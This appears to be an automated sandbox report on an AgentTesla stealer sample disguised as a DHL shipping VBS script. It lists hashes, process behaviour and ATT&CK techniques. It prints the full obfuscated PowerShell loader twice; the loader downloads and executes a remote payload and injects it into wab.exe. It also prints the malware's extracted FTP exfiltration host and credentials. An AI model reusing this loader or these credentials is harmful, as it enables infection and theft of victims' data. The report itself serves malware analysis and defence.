agenttesla | 6b6f57dc837bbcd056b5e5c76dfe32c362142ff8b228f0c5153b59a21d17e38f

Analysis

max time kernel
145s
max time network
148s
platform
windows7_x64
resource
win7-20240611-en
resource tags

arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system
submitted
01-07-2024 10:30

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

DHL1x20'LY736449574.vbs
Size

18KB
MD5

e18818173f8cf93e8b168e29c4ac3136
SHA1

42059e8cf7003ad0e269f9ac0752e0387948c364
SHA256

5563fa21470df110e69ef51c2ae908f4f9cba15b135f9d32d38971a7eabd1e9b
SHA512

31c99f32ac7f71a61d2888872c8da4e259ba61fc685718155cfb01fec95f594376cc4bc3a6fb185325e5cba7493b7cea363bbe3a2be492406db07a2f28853b6a
SSDEEP

384:4dQM+6JUwsljx9xS04WLhbumq0mYSNBeVTmF+SGKKB1dA0+TgtAtTmblc:unJUDvSrPBQmF+SGKKBA08ltz

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: ftp
Host:
ftp://ftp.concaribe.com
Port:
21
Username:
[email protected]
Password:
@Ixk.X0Q&I?d

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Blocklisted process makes network request 2 IoCs

Processes:

WScript.exepowershell.exe

flow pid process

3 2768 WScript.exe
5 2780 powershell.exe
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

9 api.ipify.org
10 api.ipify.org
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

wab.exe

pid process

684 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

1920 powershell.exe
684 wab.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1920 set thread context of 684 1920 powershell.exe wab.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exewab.exe

pid process

2780 powershell.exe
1920 powershell.exe
1920 powershell.exe
684 wab.exe
684 wab.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

1920 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exewab.exe

description pid process

Token: SeDebugPrivilege 2780 powershell.exe
Token: SeDebugPrivilege 1920 powershell.exe
Token: SeDebugPrivilege 684 wab.exe

flow	pid	process
3	2768	WScript.exe
5	2780	powershell.exe

flow	ioc
9	api.ipify.org
10	api.ipify.org

pid	process
684	wab.exe

pid	process
1920	powershell.exe
684	wab.exe

description	pid	process	target process
PID 1920 set thread context of 684	1920	powershell.exe	wab.exe

pid	process
2780	powershell.exe
1920	powershell.exe
1920	powershell.exe
684	wab.exe
684	wab.exe

pid	process
1920	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2780	powershell.exe
Token: SeDebugPrivilege	1920	powershell.exe
Token: SeDebugPrivilege	684	wab.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 2768 wrote to memory of 2780	2768	WScript.exe	powershell.exe
PID 2768 wrote to memory of 2780	2768	WScript.exe	powershell.exe
PID 2768 wrote to memory of 2780	2768	WScript.exe	powershell.exe
PID 2780 wrote to memory of 1792	2780	powershell.exe	cmd.exe
PID 2780 wrote to memory of 1792	2780	powershell.exe	cmd.exe
PID 2780 wrote to memory of 1792	2780	powershell.exe	cmd.exe
PID 2780 wrote to memory of 1920	2780	powershell.exe	powershell.exe
PID 2780 wrote to memory of 1920	2780	powershell.exe	powershell.exe
PID 2780 wrote to memory of 1920	2780	powershell.exe	powershell.exe
PID 2780 wrote to memory of 1920	2780	powershell.exe	powershell.exe
PID 1920 wrote to memory of 2444	1920	powershell.exe	cmd.exe
PID 1920 wrote to memory of 2444	1920	powershell.exe	cmd.exe
PID 1920 wrote to memory of 2444	1920	powershell.exe	cmd.exe
PID 1920 wrote to memory of 2444	1920	powershell.exe	cmd.exe
PID 1920 wrote to memory of 684	1920	powershell.exe	wab.exe
PID 1920 wrote to memory of 684	1920	powershell.exe	wab.exe
PID 1920 wrote to memory of 684	1920	powershell.exe	wab.exe
PID 1920 wrote to memory of 684	1920	powershell.exe	wab.exe
PID 1920 wrote to memory of 684	1920	powershell.exe	wab.exe
PID 1920 wrote to memory of 684	1920	powershell.exe	wab.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DHL1x20'LY736449574.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2768

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'konklusionernes Krem Modsvarende trskomager Precalculations Udfaldsvejens Maynard Honeymoons Cyclopaedia Anprisendes Ashiness udparcellere Horsepath Alkoholpromiller137 Zibet Dagnavnene Connivance Eneboerhytten Diskindness Nikkelholdig Ineffektive184 Unladyfied Tempelsalen Kapitls konklusionernes Krem Modsvarende trskomager Precalculations Udfaldsvejens Maynard Honeymoons Cyclopaedia Anprisendes Ashiness udparcellere Horsepath Alkoholpromiller137 Zibet Dagnavnene Connivance Eneboerhytten Diskindness Nikkelholdig Ineffektive184 Unladyfied Tempelsalen Kapitls';If (${host}.CurrentCulture) {$Retspraksissens++;}Function Tsebrnene($Udramatisk){$Strappes=$Udramatisk.Length-$Retspraksissens;$Grundighedensntercystic='SUBsTRI';$Grundighedensntercystic+='ng';For( $Grundighedens=1;$Grundighedens -lt $Strappes;$Grundighedens+=2){$konklusionernes+=$Udramatisk.$Grundighedensntercystic.Invoke( $Grundighedens, $Retspraksissens);}$konklusionernes;}function Tvangsfjerner($Forgiftningsulykkernes){ & ($Bgegrene) ($Forgiftningsulykkernes);}$Hippological34=Tsebrnene ' MOoKzLi lTlUa./B5.. 0, R(AW iNnAdGo wSs, DN,TI D1 0 . 0N;. W iMnA6B4,;, ,xV6 4.;G GrAv : 1.2B1E..0F) GMe.c kAoA/ 2H0 1.0L0 1,0 1f .FFiFr.eNf o.xS/ 1M2 1N.I0 ';$Vocabulary=Tsebrnene ',USsCeMrD-KA gPeOnut ';$Precalculations=Tsebrnene 'BhPt,tUp,:F/O/,cHr,y p,tToNc h,rMoOn iGcTl eAsE.Ci.o /TcTe eR1P/SS a xBo,s,.UpAs p ';$Pentafluoride=Tsebrnene 'S>A ';$Bgegrene=Tsebrnene ' i.eQx ';$Stttevokalen='Honeymoons';$Psychiatrical = Tsebrnene '.eScPh.o, O%,aTpSp d aCt.aV% \SCSrpe.eSp,iSe s,. SSu s A&O&f PeOcohHoA ,tE ';Tvangsfjerner (Tsebrnene '.$ gTl o b aHlH:UK nRoEcOk a bPo u tTnMuHm mSeKrT= (Oc,m d, /,cG D$UP,s,yScLhGi a tmr,i cDa l.) ');Tvangsfjerner (Tsebrnene '.$Nghl.oGb,a,lA:.t rssDkMo,mAaOg eBr =,$MP,rFeBcCaNlTc u l,aHtEiuoRnRs . sAp.l iAtK( $APaeTnTt aHf,l uKo,rMi dReO), ');Tvangsfjerner (Tsebrnene ' [,N e tT.MSSe ruvAi c,eAPDoSiOn t MAaJnca g e rI]T:C:CSAe.c u,r.i,t ysPLrCo t oNc,o,lO ,= [.NCePt ..S.eCc u rSi,tAyPP,r,o t.oEcNo,lRTRy.p,e ].:M:HT lSs 1d2F ');$Precalculations=$trskomager[0];$Grundighedensndemnified218= (Tsebrnene 's$ gSl oUb atl :gHPa,rAd i n g s =,N,e wS-,O bPjLe.cGt CSNy.sEtDeRm,.UN e tT.CW,ePb,C l,iMe,n.t');$Grundighedensndemnified218+=$Knockaboutnummer[1];Tvangsfjerner ($Grundighedensndemnified218);Tvangsfjerner (Tsebrnene ' $GHVa r d,i nSg s . HBeSa,d.e rFsS[s$WVSoDcOaTbKublNaSrFy ].=,$KHPi,pFpRo,l oMgSiscSa,lO3N4D ');$Morry=Tsebrnene 'P$ HRaFr.dWi n.gSs .OD o.wDnGl oKaTdPFEi,lNe (.$kP rDeScLaXl cAu lMa t.i o.n s ,S$BUAnCl,a dSySf i,e.dM)O ';$Unladyfied=$Knockaboutnummer[0];Tvangsfjerner (Tsebrnene '.$OgUlboBbsaKlB:SF.l eKrMgUu d eRrPiPe tDsV=H(AT.eEsstS- P.aEt.h T$ UEnPl,a d yhf i e.dh) ');while (!$Flerguderiets) {Tvangsfjerner (Tsebrnene 'H$ gHl,o bSa lB:.ZKe.o lCiRt tFe n =.$MtTr uAeB ') ;Tvangsfjerner $Morry;Tvangsfjerner (Tsebrnene 'NS t.a,r t -HSml.eKe p. .4S ');Tvangsfjerner (Tsebrnene ' $ g,l,oBb,a.l.:IF l e r g u d e r.i eStTs = (ATHeHsGta- PPa.t hA .$GUTnAl a d,y.f i.eHd,)P ') ;Tvangsfjerner (Tsebrnene 'M$Fg,lCo bTaLl :SM,o dgs,vfa,r e nLd,e = $BgElPoBbNa l,: K r e,mK+M+P%D$.t.rPsukMo m aGgSe rP.FcOoSu nFt, ') ;$Precalculations=$trskomager[$Modsvarende];}$Careys=298525;$Rygcrawls=26256;Tvangsfjerner (Tsebrnene 'O$ g lao,bGa ln:CC ySc lEoBp aLe d iDak ,=V GMe t - C o n tVecn t .$CU nSl a dSyLfDiVeDd. ');Tvangsfjerner (Tsebrnene 'K$ g l oFb,aSlS:.BsrCoDdMsee,nMsF2F0D P= [.SCy.sht e m.. C,oInBvSe.r.tg] :G:.FVr o.mPBIaHs.e 6.4 S tDrliCn gT( $ C,yLcNlRo pUaseGdIiRa )K ');Tvangsfjerner (Tsebrnene 'K$Gg l oBb.aKlK:PuAd p aSrCc e.l,l.e,r.e S=, [ S y s tOe mT.,TSe xTtS. E.nPc o dfi.n g ] : :LADS C IFI..SG e t.SNtBr i n,g ( $ZBMr,o.dvsTeVn s 2 0P) ');Tvangsfjerner (Tsebrnene 'A$ gslDo.b.a l :HU nCmBo.aIt.ePd = $VuAdDpRa r cCepldlDe rAe .GsCu bAsAt rBi nKgB( $ C a.rAe yss,,D$HR,y gNcBr aLwVl sD), ');Tvangsfjerner $Unmoated;"
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2780

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Creepies.Sus && echo t"
3⤵
PID:1792

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'konklusionernes Krem Modsvarende trskomager Precalculations Udfaldsvejens Maynard Honeymoons Cyclopaedia Anprisendes Ashiness udparcellere Horsepath Alkoholpromiller137 Zibet Dagnavnene Connivance Eneboerhytten Diskindness Nikkelholdig Ineffektive184 Unladyfied Tempelsalen Kapitls konklusionernes Krem Modsvarende trskomager Precalculations Udfaldsvejens Maynard Honeymoons Cyclopaedia Anprisendes Ashiness udparcellere Horsepath Alkoholpromiller137 Zibet Dagnavnene Connivance Eneboerhytten Diskindness Nikkelholdig Ineffektive184 Unladyfied Tempelsalen Kapitls';If (${host}.CurrentCulture) {$Retspraksissens++;}Function Tsebrnene($Udramatisk){$Strappes=$Udramatisk.Length-$Retspraksissens;$Grundighedensntercystic='SUBsTRI';$Grundighedensntercystic+='ng';For( $Grundighedens=1;$Grundighedens -lt $Strappes;$Grundighedens+=2){$konklusionernes+=$Udramatisk.$Grundighedensntercystic.Invoke( $Grundighedens, $Retspraksissens);}$konklusionernes;}function Tvangsfjerner($Forgiftningsulykkernes){ & ($Bgegrene) ($Forgiftningsulykkernes);}$Hippological34=Tsebrnene ' MOoKzLi lTlUa./B5.. 0, R(AW iNnAdGo wSs, DN,TI D1 0 . 0N;. W iMnA6B4,;, ,xV6 4.;G GrAv : 1.2B1E..0F) GMe.c kAoA/ 2H0 1.0L0 1,0 1f .FFiFr.eNf o.xS/ 1M2 1N.I0 ';$Vocabulary=Tsebrnene ',USsCeMrD-KA gPeOnut ';$Precalculations=Tsebrnene 'BhPt,tUp,:F/O/,cHr,y p,tToNc h,rMoOn iGcTl eAsE.Ci.o /TcTe eR1P/SS a xBo,s,.UpAs p ';$Pentafluoride=Tsebrnene 'S>A ';$Bgegrene=Tsebrnene ' i.eQx ';$Stttevokalen='Honeymoons';$Psychiatrical = Tsebrnene '.eScPh.o, O%,aTpSp d aCt.aV% \SCSrpe.eSp,iSe s,. SSu s A&O&f PeOcohHoA ,tE ';Tvangsfjerner (Tsebrnene '.$ gTl o b aHlH:UK nRoEcOk a bPo u tTnMuHm mSeKrT= (Oc,m d, /,cG D$UP,s,yScLhGi a tmr,i cDa l.) ');Tvangsfjerner (Tsebrnene '.$Nghl.oGb,a,lA:.t rssDkMo,mAaOg eBr =,$MP,rFeBcCaNlTc u l,aHtEiuoRnRs . sAp.l iAtK( $APaeTnTt aHf,l uKo,rMi dReO), ');Tvangsfjerner (Tsebrnene ' [,N e tT.MSSe ruvAi c,eAPDoSiOn t MAaJnca g e rI]T:C:CSAe.c u,r.i,t ysPLrCo t oNc,o,lO ,= [.NCePt ..S.eCc u rSi,tAyPP,r,o t.oEcNo,lRTRy.p,e ].:M:HT lSs 1d2F ');$Precalculations=$trskomager[0];$Grundighedensndemnified218= (Tsebrnene 's$ gSl oUb atl :gHPa,rAd i n g s =,N,e wS-,O bPjLe.cGt CSNy.sEtDeRm,.UN e tT.CW,ePb,C l,iMe,n.t');$Grundighedensndemnified218+=$Knockaboutnummer[1];Tvangsfjerner ($Grundighedensndemnified218);Tvangsfjerner (Tsebrnene ' $GHVa r d,i nSg s . HBeSa,d.e rFsS[s$WVSoDcOaTbKublNaSrFy ].=,$KHPi,pFpRo,l oMgSiscSa,lO3N4D ');$Morry=Tsebrnene 'P$ HRaFr.dWi n.gSs .OD o.wDnGl oKaTdPFEi,lNe (.$kP rDeScLaXl cAu lMa t.i o.n s ,S$BUAnCl,a dSySf i,e.dM)O ';$Unladyfied=$Knockaboutnummer[0];Tvangsfjerner (Tsebrnene '.$OgUlboBbsaKlB:SF.l eKrMgUu d eRrPiPe tDsV=H(AT.eEsstS- P.aEt.h T$ UEnPl,a d yhf i e.dh) ');while (!$Flerguderiets) {Tvangsfjerner (Tsebrnene 'H$ gHl,o bSa lB:.ZKe.o lCiRt tFe n =.$MtTr uAeB ') ;Tvangsfjerner $Morry;Tvangsfjerner (Tsebrnene 'NS t.a,r t -HSml.eKe p. .4S ');Tvangsfjerner (Tsebrnene ' $ g,l,oBb,a.l.:IF l e r g u d e r.i eStTs = (ATHeHsGta- PPa.t hA .$GUTnAl a d,y.f i.eHd,)P ') ;Tvangsfjerner (Tsebrnene 'M$Fg,lCo bTaLl :SM,o dgs,vfa,r e nLd,e = $BgElPoBbNa l,: K r e,mK+M+P%D$.t.rPsukMo m aGgSe rP.FcOoSu nFt, ') ;$Precalculations=$trskomager[$Modsvarende];}$Careys=298525;$Rygcrawls=26256;Tvangsfjerner (Tsebrnene 'O$ g lao,bGa ln:CC ySc lEoBp aLe d iDak ,=V GMe t - C o n tVecn t .$CU nSl a dSyLfDiVeDd. ');Tvangsfjerner (Tsebrnene 'K$ g l oFb,aSlS:.BsrCoDdMsee,nMsF2F0D P= [.SCy.sht e m.. C,oInBvSe.r.tg] :G:.FVr o.mPBIaHs.e 6.4 S tDrliCn gT( $ C,yLcNlRo pUaseGdIiRa )K ');Tvangsfjerner (Tsebrnene 'K$Gg l oBb.aKlK:PuAd p aSrCc e.l,l.e,r.e S=, [ S y s tOe mT.,TSe xTtS. E.nPc o dfi.n g ] : :LADS C IFI..SG e t.SNtBr i n,g ( $ZBMr,o.dvsTeVn s 2 0P) ');Tvangsfjerner (Tsebrnene 'A$ gslDo.b.a l :HU nCmBo.aIt.ePd = $VuAdDpRa r cCepldlDe rAe .GsCu bAsAt rBi nKgB( $ C a.rAe yss,,D$HR,y gNcBr aLwVl sD), ');Tvangsfjerner $Unmoated;"
3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1920

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Creepies.Sus && echo t"
4⤵
PID:2444

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:684

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Cab2648.tmp
Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar264B.tmp
Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Roaming\Creepies.Sus
Filesize
422KB

MD5
d2539f0cbd4a72b149d61a8e955c5080

SHA1
a43cb3ccbd5023078007d048598a9de992e29106

SHA256
94c157e472305311942b292226a7bb6253c8fed454b254639b2f2fef075f2aa3

SHA512
e73695cd9c98b6d0ef5c0e043c1ade1b51c8a3574eec115fe69e33cda4d452a6ead72a1ee559c6bd4735d6110263ea2f4d2011d6408bf86098f846360223ff85

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\J8D81DDJLRXUE4UZ82CZ.temp
Filesize
7KB

MD5
73fa518ae02d5a5a54ddaeb414b53833

SHA1
acfee2febf187b242e6da163a5b4ee90606b2aad

SHA256
adf21b96bf6ac79752c18fad47b9f190b6905184e72c56593b4c2809aa051b47

SHA512
43f8b080a5189a18c134bee168b928e11e1365c0fbac89726ebafcafaeb6f5c82d56e8b82dbf24f4945c07e48bcb3cf7ddd2e7cf57612cf39c8f8ca6d93e2db2

Download Submit
memory/684-89-0x00000000007A0000-0x00000000007E2000-memory.dmp

Filesize
264KB

Download
memory/684-87-0x00000000007A0000-0x0000000001802000-memory.dmp

Filesize
16.4MB

Download
memory/684-86-0x00000000007A0000-0x0000000001802000-memory.dmp

Filesize
16.4MB

Download
memory/1920-82-0x0000000006570000-0x0000000008E03000-memory.dmp

Filesize
40.6MB

Download
memory/2780-76-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

Filesize
9.6MB

Download
memory/2780-74-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

Filesize
9.6MB

Download
memory/2780-75-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

Filesize
9.6MB

Download
memory/2780-73-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

Filesize
9.6MB

Download
memory/2780-83-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

Filesize
9.6MB

Download
memory/2780-84-0x000007FEF5E1E000-0x000007FEF5E1F000-memory.dmp

Filesize
4KB

Download
memory/2780-72-0x00000000029A0000-0x00000000029A8000-memory.dmp

Filesize
32KB

Download
memory/2780-71-0x000000001B5B0000-0x000000001B892000-memory.dmp

Filesize
2.9MB

Download
memory/2780-88-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

Filesize
9.6MB

Download
memory/2780-70-0x000007FEF5E1E000-0x000007FEF5E1F000-memory.dmp

Filesize
4KB

Download